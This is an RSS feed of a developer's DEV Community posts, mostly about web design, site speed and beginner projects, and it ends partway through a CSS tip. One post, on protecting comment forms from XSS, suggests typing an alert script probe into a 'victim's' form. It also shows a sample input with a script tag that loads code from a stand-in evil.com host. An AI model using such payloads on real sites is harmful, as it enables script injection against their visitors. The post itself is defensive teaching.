<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: manushifva</title>
    <description>The latest articles on DEV Community by manushifva (@manushifva).</description>
    <link>https://dev.to/manushifva</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F652982%2F941ffe91-e0a6-450f-8ffe-192480032e8b.jpeg</url>
      <title>DEV Community: manushifva</title>
      <link>https://dev.to/manushifva</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/manushifva"/>
    <language>en</language>
    <item>
      <title>Let Me Review Your Web!</title>
      <dc:creator>manushifva</dc:creator>
      <pubDate>Mon, 07 Feb 2022 11:04:32 +0000</pubDate>
      <link>https://dev.to/manushifva/let-me-review-your-web-l9d</link>
      <guid>https://dev.to/manushifva/let-me-review-your-web-l9d</guid>
      <description>&lt;p&gt;Hello everyone, if you want to your web being reviewed, put the link in the comment. &lt;/p&gt;

</description>
      <category>beginners</category>
      <category>webdev</category>
      <category>programming</category>
      <category>watercooler</category>
    </item>
    <item>
      <title>5 Easy Projects For Beginners.</title>
      <dc:creator>manushifva</dc:creator>
      <pubDate>Mon, 07 Feb 2022 07:28:25 +0000</pubDate>
      <link>https://dev.to/manushifva/5-easy-project-for-beginners-4jil</link>
      <guid>https://dev.to/manushifva/5-easy-project-for-beginners-4jil</guid>
      <description>&lt;p&gt;Best way to learn programming is by code. We can train our skills, where exploring a new one. So, here's some *&lt;em&gt;Easy Projects For Beginners. *&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Memory game.
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--5baM7xrV--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/diqnxzdsf5exd9usl3ts.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--5baM7xrV--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/diqnxzdsf5exd9usl3ts.png" alt="Memory game" width="880" height="622"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Difficulty      : &lt;strong&gt;Easy&lt;/strong&gt;&lt;br&gt;
Best coded at   : &lt;em&gt;HTML + CSS + JavaScript&lt;/em&gt;, &lt;em&gt;Python&lt;/em&gt;&lt;br&gt;
Description     :&lt;/p&gt;

&lt;p&gt;Memory game is a simple game that make user remembering and click the same tiles.&lt;/p&gt;

&lt;p&gt;Objectives      : &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Make a memory game.&lt;/li&gt;
&lt;li&gt;Make the memory game customizable and expandable.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Small tips      : &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Store all of the answer in an array.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Miniblog.
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--zIypTzKw--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/jrst8kq35o5j1lurkch3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--zIypTzKw--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/jrst8kq35o5j1lurkch3.png" alt="Miniblog" width="880" height="622"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Difficulty      : &lt;strong&gt;Easy-Medium&lt;/strong&gt;&lt;br&gt;
Best coded at   : &lt;strong&gt;Python&lt;/strong&gt;, &lt;strong&gt;Node.js&lt;/strong&gt;, &lt;strong&gt;Ruby&lt;/strong&gt;, &lt;strong&gt;PHP&lt;/strong&gt;&lt;br&gt;
Description     :&lt;/p&gt;

&lt;p&gt;Miniblog is a site where user can share something, like text, image, or some snippets. Miniblog store their users' data on a file, or database.&lt;/p&gt;

&lt;p&gt;Objectives      :&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Make a miniblog.&lt;/li&gt;
&lt;li&gt;Expand the miniblog with adding additional features like comments, login, etc.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Small tips      : &lt;br&gt;
Markdown is a good method for storing many data types as a text.&lt;/p&gt;

&lt;p&gt;Difficulty:     &lt;/p&gt;

&lt;h2&gt;
  
  
  Secure login form.
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--kEcyVSE_--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ydsd3fwwao2aq7au1eug.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--kEcyVSE_--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ydsd3fwwao2aq7au1eug.png" alt="Secure login form" width="880" height="622"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Difficulty      : &lt;strong&gt;Easy-Medium&lt;/strong&gt;&lt;br&gt;
Best coded at   : &lt;strong&gt;Python&lt;/strong&gt;, &lt;strong&gt;Node.js&lt;/strong&gt;, &lt;strong&gt;Ruby&lt;/strong&gt;, &lt;strong&gt;PHP&lt;/strong&gt;&lt;br&gt;
Description     : &lt;/p&gt;

&lt;p&gt;Login is one of the most common ways to authenticate user. User need to pass their personal data (username, email, password, etc) to the system, and the system will authenticate them.&lt;/p&gt;

&lt;p&gt;Objectives      :&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Make a login system.&lt;/li&gt;
&lt;li&gt;Survive these attack;

&lt;ul&gt;
&lt;li&gt;Bruteforce attack,&lt;/li&gt;
&lt;li&gt;SQL Injection (if using SQL)&lt;/li&gt;
&lt;li&gt;Session hijacking&lt;/li&gt;
&lt;li&gt;Bypassing&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Small tips      :&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;For preventing bruteforce attack, use captcha.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Kanban board.
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--8SQb8N4f--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6yke7za1udlpbtz264ce.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--8SQb8N4f--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6yke7za1udlpbtz264ce.png" alt="Kanban board" width="880" height="622"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Difficulty      : &lt;strong&gt;Easy-Medium&lt;/strong&gt;&lt;br&gt;
Best coded at   : &lt;strong&gt;Python&lt;/strong&gt;, &lt;strong&gt;Node.js&lt;/strong&gt;, &lt;strong&gt;Ruby&lt;/strong&gt;, &lt;strong&gt;PHP&lt;/strong&gt;, &lt;em&gt;HTML + CSS + JavaScript&lt;/em&gt;&lt;br&gt;
Description     :&lt;/p&gt;

&lt;p&gt;A kanban (カンバン) is a task board with some cards. Kanban usually separated into some levels, like "task" or "to-do", "in-progress", and "done". &lt;/p&gt;

&lt;p&gt;Objectives      : &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Make a kanban board.&lt;/li&gt;
&lt;li&gt;Expand the kanban board by adding additional functions.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Small tips      :&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;WebSocket is great to make your board synchronized with the server (if you use web-based interface).&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Virtual assistant.
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Iz9fl-7x--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dj9k6bv39h8fu27e2x6e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Iz9fl-7x--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dj9k6bv39h8fu27e2x6e.png" alt="Virtual assistant" width="880" height="622"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Difficulty      : &lt;strong&gt;Medium&lt;/strong&gt;&lt;br&gt;
Best coded at   : &lt;strong&gt;Python&lt;/strong&gt;, &lt;strong&gt;C#&lt;/strong&gt;&lt;br&gt;
Description     :&lt;/p&gt;

&lt;p&gt;A virtual assistant is a tool that built to help people with their routine. Virtual assistant can do basic things that people can do. &lt;/p&gt;

&lt;p&gt;Objective       : &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Make the virtual assistant.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Small tips      :&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Use a server.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;If you done the project, please give the project link in the comment, so I can review it :)&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>programming</category>
      <category>watercooler</category>
    </item>
    <item>
      <title>Why Many Web Developers Are Obsessed With CSS-Only Things?</title>
      <dc:creator>manushifva</dc:creator>
      <pubDate>Sun, 30 Jan 2022 09:34:56 +0000</pubDate>
      <link>https://dev.to/manushifva/why-many-web-developers-are-obsessed-with-css-only-things-506l</link>
      <guid>https://dev.to/manushifva/why-many-web-developers-are-obsessed-with-css-only-things-506l</guid>
      <description>&lt;p&gt;I have seen so many CSS-only things, and it's seems so many web developers who like it so much. I know JavaScript can be disabled, but people who do it only 2% from internet population. Even if our visitors disable JavaScript, we can simply put a &lt;code&gt;&amp;lt;noscript&amp;gt;&lt;/code&gt; that tell user to turn on their JavaScript. CSS-only file-size things also usually 2-3x or more larger than same thing that code in JavaScript.  &lt;/p&gt;

&lt;p&gt;I don't know why, maybe anyone can explain?&lt;/p&gt;

</description>
      <category>discuss</category>
      <category>webdev</category>
      <category>watercooler</category>
    </item>
    <item>
      <title>How We Turn This Bootstrap Based Web Into a Pixel Game-Like</title>
      <dc:creator>manushifva</dc:creator>
      <pubDate>Sun, 23 Jan 2022 03:06:37 +0000</pubDate>
      <link>https://dev.to/sandbottle/how-we-turn-this-bootstrap-based-web-into-a-pixel-game-like-2o77</link>
      <guid>https://dev.to/sandbottle/how-we-turn-this-bootstrap-based-web-into-a-pixel-game-like-2o77</guid>
      <description>&lt;p&gt;Bootstrap is great for building your web. It's simple, fast, and has great mobile support. But, making your site too "bootstrapped" is not a good thing, especially if you are a pixel game studio.&lt;/p&gt;

&lt;p&gt;Let's take a look at this. This is our website's old display.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Xij-bAwh--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wieqhhcmy187e49cdc3c.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Xij-bAwh--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wieqhhcmy187e49cdc3c.png" alt="Our ye olde web's display" width="880" height="403"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Looks nice and clean. But, it has one big problem, too usual. It's a big horrible mistake for us who works in the creative industry (well, this is hyperbole).&lt;/p&gt;

&lt;p&gt;And, here's our new website's display.&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--osy05VCO--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/a8q6le6475puv2055b2f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--osy05VCO--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/a8q6le6475puv2055b2f.png" alt="Our brand-new shiny web's display" width="880" height="408"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Not perfect, but we're proud of this shiny-polished new website.&lt;/p&gt;
&lt;h2&gt;
  
  
  Our quest start.
&lt;/h2&gt;

&lt;p&gt;As a game developer, assets size doesn't matter. Because assets can bloat it to the app, clients won't feel the long-loading time for the assets. This is a bit different with the web. We need to keep the file size as low as possible, use as low as possible resources, and keep the load time fast.&lt;/p&gt;
&lt;h2&gt;
  
  
  Designing.
&lt;/h2&gt;

&lt;p&gt;Start with a concept. We use something that relates with our studio's name, Sandbottle;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Beach.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;We also design the web like a retro-style game, with that big game title at the top-center, and a play button that can't play anything (lol) at the bottom-center of the page.&lt;/p&gt;
&lt;h2&gt;
  
  
  Start drawing
&lt;/h2&gt;

&lt;p&gt;Drawing isn't a big thing when you are a pixel game studio. Right?&lt;/p&gt;

&lt;p&gt;The answer is no. &lt;/p&gt;

&lt;p&gt;Why? Since we only have one artist, and they are currently unavailable now. We also can't pay another, because we have some lack of cash. So, I need to wear my beret and paint that on my own.&lt;/p&gt;

&lt;p&gt;Start searching for reference, I found this great image for reference: &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--EzcpZawB--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lkwrit6zkroq1y63njfa.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--EzcpZawB--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lkwrit6zkroq1y63njfa.png" alt="Image reference" width="612" height="392"&gt;&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;That image was perfect like we need it. It has some padding at the sides and centered content exactly was planned before:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--q8ls4kVL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xtdzu5rvyh00dhn5z7q2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--q8ls4kVL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xtdzu5rvyh00dhn5z7q2.png" alt="Padded image" width="880" height="514"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So, I'm starting to redraw that image partially. Remove and add some parts, and hocus pocus, I don't know how I can finish it.&lt;/p&gt;

&lt;p&gt;Don't forget about the button, still to draw it. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--jgSKRCHI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1963x9hlx8sl36ocfp4o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--jgSKRCHI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1963x9hlx8sl36ocfp4o.png" alt="Image description" width="880" height="430"&gt;&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;For the button, I'm using a 32x32 px canvas, and drawing it as a 5 frames animated sprite, like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--NQgV4EJy--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/b0r6smzntt81h7509nfv.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--NQgV4EJy--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/b0r6smzntt81h7509nfv.gif" alt="Button" width="128" height="128"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After doing that all, I'm drawing one more thing; the game title. Drawing the game title is the easiest part of my part-time artist journey, because I just simply copy the font and modify a bit of it from &lt;a href="https://opengameart.org/content/pixel-block-font"&gt;here&lt;/a&gt;. &lt;/p&gt;
&lt;h2&gt;
  
  
  Start coding
&lt;/h2&gt;

&lt;p&gt;In this part, I'm doing some CSSs that centered the images, put the game title at the top and the button down. &lt;/p&gt;

&lt;p&gt;I also want that button can play its animation when hovered. Since (pure) JavaScript can't control gif playback, I'm coding this little function;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function hover() {
    $('#gif').show()
    $('#png').hide()
}

function leave() {
    $('#gif').hide()
    $('#png').show()

    $('#gif').attr('src', '/images/button.gif?x=' + Math.random())
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The function will show the static png when the button is unhovered, and the function will change it to gif when it's hovered. &lt;/p&gt;

&lt;h2&gt;
  
  
  Final test
&lt;/h2&gt;

&lt;p&gt;Let's test our web with the lighthouse. Here's the result. Pretty insane right?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--wltNQpFh--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1dw7rb8bsq7nz2j8w9yh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--wltNQpFh--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1dw7rb8bsq7nz2j8w9yh.png" alt='Lighthouse result (tested with "Desktop" device)' width="880" height="431"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I think that enough for today. Kinda fun to be an artist sometimes. &lt;/p&gt;

&lt;p&gt;Hit also the web here: &lt;a href="https://sandbottle.net"&gt;https://sandbottle.net&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;[ Note ]&lt;br&gt;
This article is reuploaded because it's accidentally removed.&lt;/p&gt;

</description>
      <category>watercooler</category>
      <category>beginners</category>
      <category>webdev</category>
      <category>javascript</category>
    </item>
    <item>
      <title>I Make a Dashboard for Our Game Studio Load Faster than a Portfolio Website</title>
      <dc:creator>manushifva</dc:creator>
      <pubDate>Sun, 23 Jan 2022 02:56:18 +0000</pubDate>
      <link>https://dev.to/sandbottle/how-i-make-a-dashboard-for-our-game-studio-faster-than-a-portfolio-website-16p6</link>
      <guid>https://dev.to/sandbottle/how-i-make-a-dashboard-for-our-game-studio-faster-than-a-portfolio-website-16p6</guid>
      <description>&lt;p&gt;Yes. This is real. I have compare our users' dashboard with a &lt;a href="https://github.com/mmgolden/express-portfolio"&gt;portfolio website&lt;/a&gt; and our website is 40% faster. Here's a small lighthouse test that I perform: &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--PxeOnV-C--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fdz8uv76cssi6ipd8n5k.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--PxeOnV-C--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fdz8uv76cssi6ipd8n5k.png" alt="Portfolio website by Melinda Golden" width="880" height="429"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--2cyojClj--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/bm2by33ttivvs38fa6by.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--2cyojClj--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/bm2by33ttivvs38fa6by.png" alt="Our users dashboard" width="880" height="429"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Small note: Both tests are run in localhost.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So, let me share how we do this.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Using fewer resources.
&lt;/h2&gt;

&lt;p&gt;Of course, we all know this. To load faster, you need to use fewer resources. But, this is not easy as said, especially if you using some library or framework that embeds you a lot of unused CSS or Javascript.&lt;/p&gt;

&lt;p&gt;To make this UI, I'm using modified &lt;a href="https://github.com/manushifva/pasta-css"&gt;Pasta CSS&lt;/a&gt;*, Bootstrap-like lightweight library. &lt;/p&gt;

&lt;p&gt;I also use customized icons from &lt;a href="https://fontello.com"&gt;fontello.com&lt;/a&gt;. So, I can pick what icons I would use, without embedding a whole of them.&lt;/p&gt;

&lt;p&gt;Don't forget about Javascript. We using a minified version of JQuery. JQuery makes my code slimmer. It's also helped me code faster, since it has the build-in function for some tasks, like toggling something, finding the nearest element, etc.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Using pre-rendered content.
&lt;/h2&gt;

&lt;p&gt;Rather than render the page content after loading the page, I'm using this pre-rendered content. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--sN7Byhwk--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/odh0pgdfag61080pw6jc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--sN7Byhwk--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/odh0pgdfag61080pw6jc.png" alt="Pre-rendered area" width="880" height="403"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;At first, I render the main Html file. Then, I render the pre-rendered content. I'm also using &lt;a href="//swup.js.org"&gt;Swup.js&lt;/a&gt; for swapping pages smoothly. Swup also helps us render fewer things.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Using Koa.
&lt;/h2&gt;

&lt;p&gt;Koa.js is one of the most popular Node.js server libraries. Koa was developed by developers who develop Express. Koa is faster than Express, since it developed to be more modular rather than embedding. &lt;/p&gt;

&lt;h2&gt;
  
  
  4. Using fewer images and using lazy load.
&lt;/h2&gt;

&lt;p&gt;These are the final tips. Images are hard and slow to load, especially the larger ones. Using lazy load can help the web render faster, because the lazy load pending the load process of images, and load it after the whole page is successfully loaded. &lt;/p&gt;

&lt;p&gt;That's it. Hopefully, this can help you with speeding up your website too ⚡.&lt;/p&gt;

&lt;p&gt;Disclaimer:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Pasta CSS was made by me.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>story</category>
      <category>javascript</category>
      <category>beginners</category>
      <category>programming</category>
    </item>
    <item>
      <title>Why Linux?</title>
      <dc:creator>manushifva</dc:creator>
      <pubDate>Thu, 29 Jul 2021 02:37:29 +0000</pubDate>
      <link>https://dev.to/manushifva/why-linux-e61</link>
      <guid>https://dev.to/manushifva/why-linux-e61</guid>
      <description>&lt;p&gt;👋 Hi Dev Community! Manushifva here. Have you use Linux? Why you use Linux? Please write your opinion in the comment below 👇. &lt;/p&gt;

</description>
      <category>discuss</category>
    </item>
    <item>
      <title>Securing Your Comment Form From XSS Attack.</title>
      <dc:creator>manushifva</dc:creator>
      <pubDate>Sat, 24 Jul 2021 10:07:38 +0000</pubDate>
      <link>https://dev.to/manushifva/securing-your-comment-form-from-xss-attack-3p9o</link>
      <guid>https://dev.to/manushifva/securing-your-comment-form-from-xss-attack-3p9o</guid>
      <description>&lt;p&gt;XSS, a simple attack, but can ruin your web easily. To perform this attack, simply just type &lt;code&gt;&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&lt;/code&gt; at your fictim's comment form. If you find this notification: &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Uh3PnC_9--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qtx0pitv0ugv6p5i6idd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Uh3PnC_9--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qtx0pitv0ugv6p5i6idd.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Congrats, you found a vulnerable site, and you officially become a bug hunter. XD. &lt;/p&gt;

&lt;p&gt;Back to securing the form. There are 3 methods that i know to securing your input form form XSS:&lt;/p&gt;

&lt;h3&gt;
  
  
  Check the input before add it to the database
&lt;/h3&gt;

&lt;p&gt;Simple one. Check the input if the input not contain something suspicious. If you find it, you can reject the input.  &lt;/p&gt;

&lt;h3&gt;
  
  
  Remove all HTML tags from input
&lt;/h3&gt;

&lt;p&gt;For do this in PHP, you can use &lt;code&gt;strip_tags&lt;/code&gt;. Here is the example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="nv"&gt;$input&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'&amp;lt;script src = "http://evil.com/some/evil/source"&amp;gt;&amp;lt;/script&amp;gt; Some comments'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nb"&gt;strip_tags&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$input&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And, here is the result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;Some&lt;/span&gt; &lt;span class="nx"&gt;comments&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Sanitaze your input
&lt;/h3&gt;

&lt;p&gt;You can sanitaze the input using a simple replace function. Simply, just replace &lt;code&gt;&amp;lt;&lt;/code&gt; with  &lt;code&gt;&amp;amp;#60;&lt;/code&gt; (unicode symbol for &lt;code&gt;&amp;lt;&lt;/code&gt;). If you display &lt;code&gt;&amp;lt;&lt;/code&gt; as the unicode, the XSS syntax will'nt run, and printed as normal string.&lt;/p&gt;

&lt;p&gt;Yeah, that's my tips, Do you have any tips that i don't write here, you can add it down in the comment 👇.&lt;/p&gt;

&lt;p&gt;Thanks for read, and bye! 👋.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>security</category>
      <category>watercooler</category>
      <category>xss</category>
    </item>
    <item>
      <title>Flex Tips: Adding Gaps</title>
      <dc:creator>manushifva</dc:creator>
      <pubDate>Sat, 24 Jul 2021 09:38:21 +0000</pubDate>
      <link>https://dev.to/manushifva/flex-tips-adding-gaps-1j94</link>
      <guid>https://dev.to/manushifva/flex-tips-adding-gaps-1j94</guid>
      <description>&lt;p&gt;Sometimes you need some gaps for your flex, right? But, flex doesn't support gaps, likes grid.&lt;/p&gt;

&lt;p&gt;Here is how to make it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight css"&gt;&lt;code&gt;&lt;span class="nc"&gt;.parent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;display&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;flex&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;100%&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
